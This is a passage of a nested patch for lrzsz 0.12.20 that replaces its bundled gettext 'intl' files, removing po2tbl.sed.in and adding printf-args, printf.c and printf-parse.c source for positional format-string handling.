-+ while (exp[0] >= '0' && exp[0] <= '9')
-+ {
-+ n *= 10;
-+ n += exp[0] - '0';
-+ ++exp;
-+ }
-+ lval->num = n;
-+ result = NUMBER;
-+ }
-+ break;
-+
-+ case '=':
-+ if (exp[0] == '=')
-+ {
-+ ++exp;
-+ lval->op = equal;
-+ result = EQUOP2;
-+ }
-+ else
-+ result = YYERRCODE;
-+ break;
-+
-+ case '!':
-+ if (exp[0] == '=')
-+ {
-+ ++exp;
-+ lval->op = not_equal;
-+ result = EQUOP2;
-+ }
-+ break;
-+
-+ case '&':
-+ case '|':
-+ if (exp[0] == result)
-+ ++exp;
-+ else
-+ result = YYERRCODE;
-+ break;
-+
-+ case '<':
-+ if (exp[0] == '=')
-+ {
-+ ++exp;
-+ lval->op = less_or_equal;
-+ }
-+ else
-+ lval->op = less_than;
-+ result = CMPOP2;
-+ break;
-+
-+ case '>':
-+ if (exp[0] == '=')
-+ {
-+ ++exp;
-+ lval->op = greater_or_equal;
-+ }
-+ else
-+ lval->op = greater_than;
-+ result = CMPOP2;
-+ break;
-+
-+ case '*':
-+ lval->op = mult;
-+ result = MULOP2;
-+ break;
-+
-+ case '/':
-+ lval->op = divide;
-+ result = MULOP2;
-+ break;
-+
-+ case '%':
-+ lval->op = module;
-+ result = MULOP2;
-+ break;
-+
-+ case '+':
-+ lval->op = plus;
-+ result = ADDOP2;
-+ break;
-+
-+ case '-':
-+ lval->op = minus;
-+ result = ADDOP2;
-+ break;
-+
-+ case 'n':
-+ case '?':
-+ case ':':
-+ case '(':
-+ case ')':
-+ /* Nothing, just return the character. */
-+ break;
-+
-+ case ';':
-+ case '\n':
-+ case '\0':
-+ /* Be safe and let the user call this function again. */
-+ --exp;
-+ result = YYEOF;
-+ break;
-+
-+ default:
-+ result = YYERRCODE;
-+#if YYDEBUG != 0
-+ --exp;
-+#endif
-+ break;
-+ }
-+
-+ *pexp = exp;
-+
-+ return result;
-+}
-+
-+
-+static void
-+yyerror (const char *str)
-+{
-+ /* Do nothing. We don't print error messages here. */
-+}
---- lrzsz-0.12.20.safe/intl/po2tbl.sed.in 1998-04-26 09:20:52.000000000 -0400
-+++ lrzsz-0.12.20/intl/po2tbl.sed.in 1969-12-31 19:00:00.000000000 -0500
-@@ -1,102 +0,0 @@
--# po2tbl.sed - Convert Uniforum style .po file to lookup table for catgets
--# Copyright (C) 1995 Free Software Foundation, Inc.
--# Ulrich Drepper <drepper@gnu.ai.mit.edu>, 1995.
--#
--# This program is free software; you can redistribute it and/or modify
--# it under the terms of the GNU General Public License as published by
--# the Free Software Foundation; either version 2, or (at your option)
--# any later version.
--#
--# This program is distributed in the hope that it will be useful,
--# but WITHOUT ANY WARRANTY; without even the implied warranty of
--# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
--# GNU General Public License for more details.
--#
--# You should have received a copy of the GNU General Public License
--# along with this program; if not, write to the Free Software
--# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
--#
--1 {
-- i\
--/* Automatically generated by po2tbl.sed from @PACKAGE NAME@.pot. */\
--\
--#if HAVE_CONFIG_H\
--# include <config.h>\
--#endif\
--\
--#include "libgettext.h"\
--\
--const struct _msg_ent _msg_tbl[] = {
-- h
-- s/.*/0/
-- x
--}
--#
--# Write msgid entries in C array form.
--#
--/^msgid/ {
-- s/msgid[ ]*\(".*"\)/ {\1/
-- tb
--# Append the next line
-- :b
-- N
--# Look whether second part is continuation line.
-- s/\(.*\)"\(\n\)"\(.*"\)/\1\2\3/
--# Yes, then branch.
-- ta
--# Because we assume that the input file correctly formed the line
--# just read cannot be again be a msgid line. So it's safe to ignore
--# it.
-- s/\(.*\)\n.*/\1/
-- bc
--# We found a continuation line. But before printing insert '\'.
-- :a
-- s/\(.*\)\(\n.*\)/\1\\\2/
-- P
--# We cannot use D here.
-- s/.*\n\(.*\)/\1/
--# Some buggy seds do not clear the `successful substitution since last ``t'''
--# flag on `N', so we do a `t' here to clear it.
-- tb
--# Not reached
-- :c
-- x
--# The following nice solution is by
--# Bruno <Haible@ma2s2.mathematik.uni-karlsruhe.de>
-- td
--# Increment a decimal number in pattern space.
--# First hide trailing `9' digits.
-- :d
-- s/9\(_*\)$/_\1/
-- td
--# Assure at least one digit is available.
-- s/^\(_*\)$/0\1/
--# Increment the last digit.
-- s/8\(_*\)$/9\1/
-- s/7\(_*\)$/8\1/
-- s/6\(_*\)$/7\1/
-- s/5\(_*\)$/6\1/
-- s/4\(_*\)$/5\1/
-- s/3\(_*\)$/4\1/
-- s/2\(_*\)$/3\1/
-- s/1\(_*\)$/2\1/
-- s/0\(_*\)$/1\1/
--# Convert the hidden `9' digits to `0's.
-- s/_/0/g
-- x
-- G
-- s/\(.*\)\n\([0-9]*\)/\1, \2},/
-- s/\(.*\)"$/\1/
-- p
--}
--#
--# Last line.
--#
--$ {
-- i\
--};\
--
-- g
-- s/0*\(.*\)/int _msg_tbl_length = \1;/p
--}
--d
---- lrzsz-0.12.20.safe/intl/printf-args.c 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/printf-args.c 2004-09-12 14:40:34.595711608 -0400
-@@ -0,0 +1,119 @@
-+/* Decomposed printf argument list.
-+ Copyright (C) 1999, 2002-2003 Free Software Foundation, Inc.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+#ifdef HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
-+/* Specification. */
-+#include "printf-args.h"
-+
-+#ifdef STATIC
-+STATIC
-+#endif
-+int
-+printf_fetchargs (va_list args, arguments *a)
-+{
-+ size_t i;
-+ argument *ap;
-+
-+ for (i = 0, ap = &a->arg[0]; i < a->count; i++, ap++)
-+ switch (ap->type)
-+ {
-+ case TYPE_SCHAR:
-+ ap->a.a_schar = va_arg (args, /*signed char*/ int);
-+ break;
-+ case TYPE_UCHAR:
-+ ap->a.a_uchar = va_arg (args, /*unsigned char*/ int);
-+ break;
-+ case TYPE_SHORT:
-+ ap->a.a_short = va_arg (args, /*short*/ int);
-+ break;
-+ case TYPE_USHORT:
-+ ap->a.a_ushort = va_arg (args, /*unsigned short*/ int);
-+ break;
-+ case TYPE_INT:
-+ ap->a.a_int = va_arg (args, int);
-+ break;
-+ case TYPE_UINT:
-+ ap->a.a_uint = va_arg (args, unsigned int);
-+ break;
-+ case TYPE_LONGINT:
-+ ap->a.a_longint = va_arg (args, long int);
-+ break;
-+ case TYPE_ULONGINT:
-+ ap->a.a_ulongint = va_arg (args, unsigned long int);
-+ break;
-+#ifdef HAVE_LONG_LONG
-+ case TYPE_LONGLONGINT:
-+ ap->a.a_longlongint = va_arg (args, long long int);
-+ break;
-+ case TYPE_ULONGLONGINT:
-+ ap->a.a_ulonglongint = va_arg (args, unsigned long long int);
-+ break;
-+#endif
-+ case TYPE_DOUBLE:
-+ ap->a.a_double = va_arg (args, double);
-+ break;
-+#ifdef HAVE_LONG_DOUBLE
-+ case TYPE_LONGDOUBLE:
-+ ap->a.a_longdouble = va_arg (args, long double);
-+ break;
-+#endif
-+ case TYPE_CHAR:
-+ ap->a.a_char = va_arg (args, int);
-+ break;
-+#ifdef HAVE_WINT_T
-+ case TYPE_WIDE_CHAR:
-+ ap->a.a_wide_char = va_arg (args, wint_t);
-+ break;
-+#endif
-+ case TYPE_STRING:
-+ ap->a.a_string = va_arg (args, const char *);
-+ break;
-+#ifdef HAVE_WCHAR_T
-+ case TYPE_WIDE_STRING:
-+ ap->a.a_wide_string = va_arg (args, const wchar_t *);
-+ break;
-+#endif
-+ case TYPE_POINTER:
-+ ap->a.a_pointer = va_arg (args, void *);
-+ break;
-+ case TYPE_COUNT_SCHAR_POINTER:
-+ ap->a.a_count_schar_pointer = va_arg (args, signed char *);
-+ break;
-+ case TYPE_COUNT_SHORT_POINTER:
-+ ap->a.a_count_short_pointer = va_arg (args, short *);
-+ break;
-+ case TYPE_COUNT_INT_POINTER:
-+ ap->a.a_count_int_pointer = va_arg (args, int *);
-+ break;
-+ case TYPE_COUNT_LONGINT_POINTER:
-+ ap->a.a_count_longint_pointer = va_arg (args, long int *);
-+ break;
-+#ifdef HAVE_LONG_LONG
-+ case TYPE_COUNT_LONGLONGINT_POINTER:
-+ ap->a.a_count_longlongint_pointer = va_arg (args, long long int *);
-+ break;
-+#endif
-+ default:
-+ /* Unknown type. */
-+ return -1;
-+ }
-+ return 0;
-+}
---- lrzsz-0.12.20.safe/intl/printf-args.h 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/printf-args.h 2004-09-12 14:40:34.601710696 -0400
-@@ -0,0 +1,137 @@
-+/* Decomposed printf argument list.
-+ Copyright (C) 1999, 2002-2003 Free Software Foundation, Inc.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+#ifndef _PRINTF_ARGS_H
-+#define _PRINTF_ARGS_H
-+
-+/* Get size_t. */
-+#include <stddef.h>
-+
-+/* Get wchar_t. */
-+#ifdef HAVE_WCHAR_T
-+# include <stddef.h>
-+#endif
-+
-+/* Get wint_t. */
-+#ifdef HAVE_WINT_T
-+# include <wchar.h>
-+#endif
-+
-+/* Get va_list. */
-+#include <stdarg.h>
-+
-+
-+/* Argument types */
-+typedef enum
-+{
-+ TYPE_NONE,
-+ TYPE_SCHAR,
-+ TYPE_UCHAR,
-+ TYPE_SHORT,
-+ TYPE_USHORT,
-+ TYPE_INT,
-+ TYPE_UINT,
-+ TYPE_LONGINT,
-+ TYPE_ULONGINT,
-+#ifdef HAVE_LONG_LONG
-+ TYPE_LONGLONGINT,
-+ TYPE_ULONGLONGINT,
-+#endif
-+ TYPE_DOUBLE,
-+#ifdef HAVE_LONG_DOUBLE
-+ TYPE_LONGDOUBLE,
-+#endif
-+ TYPE_CHAR,
-+#ifdef HAVE_WINT_T
-+ TYPE_WIDE_CHAR,
-+#endif
-+ TYPE_STRING,
-+#ifdef HAVE_WCHAR_T
-+ TYPE_WIDE_STRING,
-+#endif
-+ TYPE_POINTER,
-+ TYPE_COUNT_SCHAR_POINTER,
-+ TYPE_COUNT_SHORT_POINTER,
-+ TYPE_COUNT_INT_POINTER,
-+ TYPE_COUNT_LONGINT_POINTER
-+#ifdef HAVE_LONG_LONG
-+, TYPE_COUNT_LONGLONGINT_POINTER
-+#endif
-+} arg_type;
-+
-+/* Polymorphic argument */
-+typedef struct
-+{
-+ arg_type type;
-+ union
-+ {
-+ signed char a_schar;
-+ unsigned char a_uchar;
-+ short a_short;
-+ unsigned short a_ushort;
-+ int a_int;
-+ unsigned int a_uint;
-+ long int a_longint;
-+ unsigned long int a_ulongint;
-+#ifdef HAVE_LONG_LONG
-+ long long int a_longlongint;
-+ unsigned long long int a_ulonglongint;
-+#endif
-+ float a_float;
-+ double a_double;
-+#ifdef HAVE_LONG_DOUBLE
-+ long double a_longdouble;
-+#endif
-+ int a_char;
-+#ifdef HAVE_WINT_T
-+ wint_t a_wide_char;
-+#endif
-+ const char* a_string;
-+#ifdef HAVE_WCHAR_T
-+ const wchar_t* a_wide_string;
-+#endif
-+ void* a_pointer;
-+ signed char * a_count_schar_pointer;
-+ short * a_count_short_pointer;
-+ int * a_count_int_pointer;
-+ long int * a_count_longint_pointer;
-+#ifdef HAVE_LONG_LONG
-+ long long int * a_count_longlongint_pointer;
-+#endif
-+ }
-+ a;
-+}
-+argument;
-+
-+typedef struct
-+{
-+ size_t count;
-+ argument *arg;
-+}
-+arguments;
-+
-+
-+/* Fetch the arguments, putting them into a. */
-+#ifdef STATIC
-+STATIC
-+#else
-+extern
-+#endif
-+int printf_fetchargs (va_list args, arguments *a);
-+
-+#endif /* _PRINTF_ARGS_H */
---- lrzsz-0.12.20.safe/intl/printf.c 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/printf.c 2004-09-12 14:40:34.607709784 -0400
-@@ -0,0 +1,371 @@
-+/* Formatted output to strings, using POSIX/XSI format strings with positions.
-+ Copyright (C) 2003 Free Software Foundation, Inc.
-+ Written by Bruno Haible <bruno@clisp.org>, 2003.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+#ifdef HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
-+#ifdef __GNUC__
-+# define alloca __builtin_alloca
-+# define HAVE_ALLOCA 1
-+#else
-+# ifdef _MSC_VER
-+# include <malloc.h>
-+# define alloca _alloca
-+# else
-+# if defined HAVE_ALLOCA_H || defined _LIBC
-+# include <alloca.h>
-+# else
-+# ifdef _AIX
-+ #pragma alloca
-+# else
-+# ifndef alloca
-+char *alloca ();
-+# endif
-+# endif
-+# endif
-+# endif
-+#endif
-+
-+#include <stdio.h>
-+
-+#if !HAVE_POSIX_PRINTF
-+
-+#include <stdlib.h>
-+#include <string.h>
-+
-+/* When building a DLL, we must export some functions. Note that because
-+ the functions are only defined for binary backward compatibility, we
-+ don't need to use __declspec(dllimport) in any case. */
-+#if defined _MSC_VER && BUILDING_DLL
-+# define DLL_EXPORTED __declspec(dllexport)
-+#else
-+# define DLL_EXPORTED
-+#endif
-+
-+#define STATIC static
-+
-+/* Define auxiliary functions declared in "printf-args.h". */
-+#include "printf-args.c"
-+
-+/* Define auxiliary functions declared in "printf-parse.h". */
-+#include "printf-parse.c"
-+
-+/* Define functions declared in "vasnprintf.h". */
-+#define vasnprintf libintl_vasnprintf
-+#include "vasnprintf.c"
-+#if 0 /* not needed */
-+#define asnprintf libintl_asnprintf
-+#include "asnprintf.c"
-+#endif
-+
-+DLL_EXPORTED
-+int
-+libintl_vfprintf (FILE *stream, const char *format, va_list args)
-+{
-+ if (strchr (format, '$') == NULL)
-+ return vfprintf (stream, format, args);
-+ else
-+ {
-+ size_t length;
-+ char *result = libintl_vasnprintf (NULL, &length, format, args);
-+ int retval = -1;
-+ if (result != NULL)
-+ {
-+ if (fwrite (result, 1, length, stream) == length)
-+ retval = length;
-+ free (result);
-+ }
-+ return retval;
-+ }
-+}
-+
-+DLL_EXPORTED
-+int
-+libintl_fprintf (FILE *stream, const char *format, ...)
-+{
-+ va_list args;
-+ int retval;
-+
-+ va_start (args, format);
-+ retval = libintl_vfprintf (stream, format, args);
-+ va_end (args);
-+ return retval;
-+}
-+
-+DLL_EXPORTED
-+int
-+libintl_vprintf (const char *format, va_list args)
-+{
-+ return libintl_vfprintf (stdout, format, args);
-+}
-+
-+DLL_EXPORTED
-+int
-+libintl_printf (const char *format, ...)
-+{
-+ va_list args;
-+ int retval;
-+
-+ va_start (args, format);
-+ retval = libintl_vprintf (format, args);
-+ va_end (args);
-+ return retval;
-+}
-+
-+DLL_EXPORTED
-+int
-+libintl_vsprintf (char *resultbuf, const char *format, va_list args)
-+{
-+ if (strchr (format, '$') == NULL)
-+ return vsprintf (resultbuf, format, args);
-+ else
-+ {
-+ size_t length = (size_t) ~0 / (4 * sizeof (char));
-+ char *result = libintl_vasnprintf (resultbuf, &length, format, args);
-+ if (result != resultbuf)
-+ {
-+ free (result);
-+ return -1;
-+ }
-+ else
-+ return length;
-+ }
-+}
-+
-+DLL_EXPORTED
-+int
-+libintl_sprintf (char *resultbuf, const char *format, ...)
-+{
-+ va_list args;
-+ int retval;
-+
-+ va_start (args, format);
-+ retval = libintl_vsprintf (resultbuf, format, args);
-+ va_end (args);
-+ return retval;
-+}
-+
-+#if HAVE_SNPRINTF
-+
-+# if HAVE_DECL__SNPRINTF
-+ /* Windows. */
-+# define system_vsnprintf _vsnprintf
-+# else
-+ /* Unix. */
-+# define system_vsnprintf vsnprintf
-+# endif
-+
-+DLL_EXPORTED
-+int
-+libintl_vsnprintf (char *resultbuf, size_t length, const char *format, va_list args)
-+{
-+ if (strchr (format, '$') == NULL)
-+ return system_vsnprintf (resultbuf, length, format, args);
-+ else
-+ {
-+ size_t maxlength = length;
-+ char *result = libintl_vasnprintf (resultbuf, &length, format, args);
-+ if (result != resultbuf)
-+ {
-+ if (maxlength > 0)
-+ {
-+ if (length < maxlength)
-+ abort ();
-+ memcpy (resultbuf, result, maxlength - 1);
-+ resultbuf[maxlength - 1] = '\0';
-+ }
-+ free (result);
-+ return -1;
-+ }
-+ else
-+ return length;
-+ }
-+}
-+
-+DLL_EXPORTED
-+int
-+libintl_snprintf (char *resultbuf, size_t length, const char *format, ...)
-+{
-+ va_list args;
-+ int retval;
-+
-+ va_start (args, format);
-+ retval = libintl_vsnprintf (resultbuf, length, format, args);
-+ va_end (args);
-+ return retval;
-+}
-+
-+#endif
-+
-+#if HAVE_ASPRINTF
-+
-+DLL_EXPORTED
-+int
-+libintl_vasprintf (char **resultp, const char *format, va_list args)
-+{
-+ size_t length;
-+ char *result = libintl_vasnprintf (NULL, &length, format, args);
-+ if (result == NULL)
-+ return -1;
-+ *resultp = result;
-+ return length;
-+}
-+
-+DLL_EXPORTED
-+int
-+libintl_asprintf (char **resultp, const char *format, ...)
-+{
-+ va_list args;
-+ int retval;
-+
-+ va_start (args, format);
-+ retval = libintl_vasprintf (resultp, format, args);
-+ va_end (args);
-+ return retval;
-+}
-+
-+#endif
-+
-+#if HAVE_FWPRINTF
-+
-+#include <wchar.h>
-+
-+#define WIDE_CHAR_VERSION 1
-+
-+/* Define auxiliary functions declared in "wprintf-parse.h". */
-+#include "printf-parse.c"
-+
-+/* Define functions declared in "vasnprintf.h". */
-+#define vasnwprintf libintl_vasnwprintf
-+#include "vasnprintf.c"
-+#if 0 /* not needed */
-+#define asnwprintf libintl_asnwprintf
-+#include "asnprintf.c"
-+#endif
-+
-+# if HAVE_DECL__SNWPRINTF
-+ /* Windows. */
-+# define system_vswprintf _vsnwprintf
-+# else
-+ /* Unix. */
-+# define system_vswprintf vswprintf
-+# endif
-+
-+DLL_EXPORTED
-+int
-+libintl_vfwprintf (FILE *stream, const wchar_t *format, va_list args)
-+{
-+ if (wcschr (format, '$') == NULL)
-+ return vfwprintf (stream, format, args);
-+ else
-+ {
-+ size_t length;
-+ wchar_t *result = libintl_vasnwprintf (NULL, &length, format, args);
-+ int retval = -1;
-+ if (result != NULL)
-+ {
-+ size_t i;
-+ for (i = 0; i < length; i++)
-+ if (fputwc (result[i], stream) == WEOF)
-+ break;
-+ if (i == length)
-+ retval = length;
-+ free (result);
-+ }
-+ return retval;
-+ }
-+}
-+
-+DLL_EXPORTED
-+int
-+libintl_fwprintf (FILE *stream, const wchar_t *format, ...)
-+{
-+ va_list args;
-+ int retval;
-+
-+ va_start (args, format);
-+ retval = libintl_vfwprintf (stream, format, args);
-+ va_end (args);
-+ return retval;
-+}
-+
-+DLL_EXPORTED
-+int
-+libintl_vwprintf (const wchar_t *format, va_list args)
-+{
-+ return libintl_vfwprintf (stdout, format, args);
-+}
-+
-+DLL_EXPORTED
-+int
-+libintl_wprintf (const wchar_t *format, ...)
-+{
-+ va_list args;
-+ int retval;
-+
-+ va_start (args, format);
-+ retval = libintl_vwprintf (format, args);
-+ va_end (args);
-+ return retval;
-+}
-+
-+DLL_EXPORTED
-+int
-+libintl_vswprintf (wchar_t *resultbuf, size_t length, const wchar_t *format, va_list args)
-+{
-+ if (wcschr (format, '$') == NULL)
-+ return system_vswprintf (resultbuf, length, format, args);
-+ else
-+ {
-+ size_t maxlength = length;
-+ wchar_t *result = libintl_vasnwprintf (resultbuf, &length, format, args);
-+ if (result != resultbuf)
-+ {
-+ if (maxlength > 0)
-+ {
-+ if (length < maxlength)
-+ abort ();
-+ memcpy (resultbuf, result, (maxlength - 1) * sizeof (wchar_t));
-+ resultbuf[maxlength - 1] = 0;
-+ }
-+ free (result);
-+ return -1;
-+ }
-+ else
-+ return length;
-+ }
-+}
-+
-+DLL_EXPORTED
-+int
-+libintl_swprintf (wchar_t *resultbuf, size_t length, const wchar_t *format, ...)
-+{
-+ va_list args;
-+ int retval;
-+
-+ va_start (args, format);
-+ retval = libintl_vswprintf (resultbuf, length, format, args);
-+ va_end (args);
-+ return retval;
-+}
-+
-+#endif
-+
-+#endif
---- lrzsz-0.12.20.safe/intl/printf-parse.c 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/printf-parse.c 2004-09-12 14:40:34.622707504 -0400
-@@ -0,0 +1,537 @@
-+/* Formatted output to strings.
-+ Copyright (C) 1999-2000, 2002-2003 Free Software Foundation, Inc.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+#ifdef HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
-+/* Specification. */
-+#if WIDE_CHAR_VERSION
-+# include "wprintf-parse.h"
-+#else
-+# include "printf-parse.h"
-+#endif
-+
-+/* Get size_t, NULL. */
-+#include <stddef.h>
-+
-+/* Get intmax_t. */
-+#if HAVE_STDINT_H_WITH_UINTMAX
-+# include <stdint.h>
-+#endif
-+#if HAVE_INTTYPES_H_WITH_UINTMAX
-+# include <inttypes.h>
-+#endif
-+
-+/* malloc(), realloc(), free(). */
-+#include <stdlib.h>
-+
-+/* Checked size_t computations. */
-+#include "xsize.h"
-+
-+#if WIDE_CHAR_VERSION
-+# define PRINTF_PARSE wprintf_parse
-+# define CHAR_T wchar_t
-+# define DIRECTIVE wchar_t_directive
-+# define DIRECTIVES wchar_t_directives
-+#else
-+# define PRINTF_PARSE printf_parse
-+# define CHAR_T char
-+# define DIRECTIVE char_directive
-+# define DIRECTIVES char_directives
-+#endif
-+
-+#ifdef STATIC
-+STATIC
-+#endif
-+int
-+PRINTF_PARSE (const CHAR_T *format, DIRECTIVES *d, arguments *a)
-+{
-+ const CHAR_T *cp = format; /* pointer into format */
-+ size_t arg_posn = 0; /* number of regular arguments consumed */
-+ size_t d_allocated; /* allocated elements of d->dir */
-+ size_t a_allocated; /* allocated elements of a->arg */
-+ size_t max_width_length = 0;
-+ size_t max_precision_length = 0;
-+
-+ d->count = 0;
-+ d_allocated = 1;
-+ d->dir = malloc (d_allocated * sizeof (DIRECTIVE));
-+ if (d->dir == NULL)
-+ /* Out of memory. */
-+ return -1;
-+
-+ a->count = 0;
-+ a_allocated = 0;
-+ a->arg = NULL;
-+
-+#define REGISTER_ARG(_index_,_type_) \
-+ { \
-+ size_t n = (_index_); \
-+ if (n >= a_allocated) \
-+ { \
-+ size_t memory_size; \
-+ argument *memory; \
-+ \
-+ a_allocated = xtimes (a_allocated, 2); \
-+ if (a_allocated <= n) \
-+ a_allocated = xsum (n, 1); \
-+ memory_size = xtimes (a_allocated, sizeof (argument)); \
-+ if (size_overflow_p (memory_size)) \
-+ /* Overflow, would lead to out of memory. */ \
-+ goto error; \
-+ memory = (a->arg \
-+ ? realloc (a->arg, memory_size) \
-+ : malloc (memory_size)); \
-+ if (memory == NULL) \
-+ /* Out of memory. */ \
-+ goto error; \
-+ a->arg = memory; \
-+ } \
-+ while (a->count <= n) \
-+ a->arg[a->count++].type = TYPE_NONE; \
-+ if (a->arg[n].type == TYPE_NONE) \
-+ a->arg[n].type = (_type_); \
-+ else if (a->arg[n].type != (_type_)) \
-+ /* Ambiguous type for positional argument. */ \
-+ goto error; \
-+ }
-+
-+ while (*cp != '\0')
-+ {
-+ CHAR_T c = *cp++;
-+ if (c == '%')
-+ {
-+ size_t arg_index = ARG_NONE;
-+ DIRECTIVE *dp = &d->dir[d->count];/* pointer to next directive */
-+
-+ /* Initialize the next directive. */
-+ dp->dir_start = cp - 1;
-+ dp->flags = 0;
-+ dp->width_start = NULL;
-+ dp->width_end = NULL;
-+ dp->width_arg_index = ARG_NONE;
-+ dp->precision_start = NULL;
-+ dp->precision_end = NULL;
-+ dp->precision_arg_index = ARG_NONE;
-+ dp->arg_index = ARG_NONE;
-+
-+ /* Test for positional argument. */
-+ if (*cp >= '0' && *cp <= '9')
-+ {
-+ const CHAR_T *np;
-+
-+ for (np = cp; *np >= '0' && *np <= '9'; np++)
-+ ;
-+ if (*np == '$')
-+ {
-+ size_t n = 0;
-+
-+ for (np = cp; *np >= '0' && *np <= '9'; np++)
-+ n = xsum (xtimes (n, 10), *np - '0');
-+ if (n == 0)
-+ /* Positional argument 0. */
-+ goto error;
-+ if (size_overflow_p (n))
-+ /* n too large, would lead to out of memory later. */
-+ goto error;
-+ arg_index = n - 1;
-+ cp = np + 1;
-+ }
-+ }
-+
-+ /* Read the flags. */
-+ for (;;)
-+ {
-+ if (*cp == '\'')
-+ {
-+ dp->flags |= FLAG_GROUP;
-+ cp++;
-+ }
-+ else if (*cp == '-')
-+ {
-+ dp->flags |= FLAG_LEFT;
-+ cp++;
-+ }
-+ else if (*cp == '+')
-+ {
-+ dp->flags |= FLAG_SHOWSIGN;
-+ cp++;
-+ }
-+ else if (*cp == ' ')
-+ {
-+ dp->flags |= FLAG_SPACE;
-+ cp++;
-+ }
-+ else if (*cp == '#')
-+ {
-+ dp->flags |= FLAG_ALT;
-+ cp++;
-+ }
-+ else if (*cp == '0')
-+ {
-+ dp->flags |= FLAG_ZERO;
-+ cp++;
-+ }
-+ else
-+ break;
-+ }
-+
-+ /* Parse the field width. */
-+ if (*cp == '*')
-+ {
-+ dp->width_start = cp;
-+ cp++;
-+ dp->width_end = cp;
-+ if (max_width_length < 1)
-+ max_width_length = 1;
-+
-+ /* Test for positional argument. */
-+ if (*cp >= '0' && *cp <= '9')
-+ {
-+ const CHAR_T *np;
-+
-+ for (np = cp; *np >= '0' && *np <= '9'; np++)
-+ ;
-+ if (*np == '$')
-+ {
-+ size_t n = 0;
-+
-+ for (np = cp; *np >= '0' && *np <= '9'; np++)
-+ n = xsum (xtimes (n, 10), *np - '0');
-+ if (n == 0)
-+ /* Positional argument 0. */
-+ goto error;
-+ if (size_overflow_p (n))
-+ /* n too large, would lead to out of memory later. */
-+ goto error;
-+ dp->width_arg_index = n - 1;
-+ cp = np + 1;
-+ }
-+ }
-+ if (dp->width_arg_index == ARG_NONE)
-+ {
-+ dp->width_arg_index = arg_posn++;
-+ if (dp->width_arg_index == ARG_NONE)
-+ /* arg_posn wrapped around. */
-+ goto error;
-+ }
-+ REGISTER_ARG (dp->width_arg_index, TYPE_INT);
-+ }
-+ else if (*cp >= '0' && *cp <= '9')
-+ {
-+ size_t width_length;
-+
-+ dp->width_start = cp;
-+ for (; *cp >= '0' && *cp <= '9'; cp++)
-+ ;
-+ dp->width_end = cp;
-+ width_length = dp->width_end - dp->width_start;
-+ if (max_width_length < width_length)
-+ max_width_length = width_length;
-+ }
-+
-+ /* Parse the precision. */
-+ if (*cp == '.')
-+ {
-+ cp++;
-+ if (*cp == '*')
-+ {
-+ dp->precision_start = cp - 1;
-+ cp++;
-+ dp->precision_end = cp;
-+ if (max_precision_length < 2)
-+ max_precision_length = 2;
-+
-+ /* Test for positional argument. */
-+ if (*cp >= '0' && *cp <= '9')
-+ {
-+ const CHAR_T *np;
-+
-+ for (np = cp; *np >= '0' && *np <= '9'; np++)
-+ ;
-+ if (*np == '$')
-+ {
-+ size_t n = 0;
-+
-+ for (np = cp; *np >= '0' && *np <= '9'; np++)
-+ n = xsum (xtimes (n, 10), *np - '0');
-+ if (n == 0)
-+ /* Positional argument 0. */
-+ goto error;
-+ if (size_overflow_p (n))
-+ /* n too large, would lead to out of memory
-+ later. */
-+ goto error;
-+ dp->precision_arg_index = n - 1;
-+ cp = np + 1;
-+ }
-+ }
-+ if (dp->precision_arg_index == ARG_NONE)
-+ {
-+ dp->precision_arg_index = arg_posn++;
-+ if (dp->precision_arg_index == ARG_NONE)
-+ /* arg_posn wrapped around. */
-+ goto error;
-+ }
-+ REGISTER_ARG (dp->precision_arg_index, TYPE_INT);
-+ }
-+ else
-+ {
-+ size_t precision_length;
-+
-+ dp->precision_start = cp - 1;
-+ for (; *cp >= '0' && *cp <= '9'; cp++)
-+ ;
-+ dp->precision_end = cp;
-+ precision_length = dp->precision_end - dp->precision_start;
-+ if (max_precision_length < precision_length)
